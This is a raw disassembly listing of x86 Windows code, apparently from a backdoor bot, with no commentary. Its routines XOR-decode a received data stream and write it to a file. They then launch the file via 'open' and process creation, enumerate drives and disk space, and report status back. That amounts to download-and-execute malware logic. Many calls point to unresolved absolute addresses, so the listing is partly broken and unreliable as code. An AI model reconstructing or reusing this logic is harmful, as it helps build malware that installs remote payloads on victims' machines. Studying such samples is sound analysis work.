		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_43750C

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB03C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26F0000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFF4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAFBC
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2650939h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374E0
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB03C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374C8
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F07FEh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437644
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 2650939h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375F4

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAFA0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374C8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26D0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375C8
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB03C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAEA8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26F07FEh
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437810
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 2680CD4h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAEB0
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 26E0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377E8
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C0

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCE0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437794
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 2680CD4h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2650939h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43776C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437734
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAF10
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437718
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376D4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D158
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2650C44h
		nop
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAEFC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4376A0
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437674

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFD8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BD8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB004
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437864
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437860
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE94
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_4378B4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437878
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
